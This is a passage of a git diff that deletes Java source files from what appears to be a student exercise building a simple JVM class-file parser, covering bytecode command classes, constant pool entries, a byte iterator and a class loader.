--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ac228d0e4d..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index c15d827797..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index ffb66f811c..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 33813b5d59..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 56c28fefe2..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 85bb369c19..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index c8e65ff493..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 88353df2d3..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index 7130eb3a9f..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-	
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 7ae71396ef..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);		
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 036e6d9055..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);		
-	}
-	
-	
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 5cbbba6033..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 41e0fd7e7a..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index 6bfcb47273..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 7db88a939e..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-		
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index c6eb0196f8..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public String toString() {
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		return name +":"+ desc;
-	}
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-		//System.out.println("field attribute count:"+ attribCount);
-		
-		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
-		
-		if(attribCount > 0){
-			throw new RuntimeException("Field Attribute has not been implemented");
-		}
-		
-		return f;
-	}
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 6fb5570dff..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public  class ByteCodeIterator {
-	byte[] codes;
-	int pos = 0;
-
-	ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-
-	
-
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-
-	public void back(int n) {
-		this.pos -= n;
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 33185d8175..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,140 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile_V1(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-
-
-	
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index a29d9572cd..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-
-		
-		
-		
-		return null;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		return null;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		return null;
-	}
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-
-	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
-		
-
-	}
-
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-
-		
-
-	}
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index b86c57ef90..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-	
-	
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
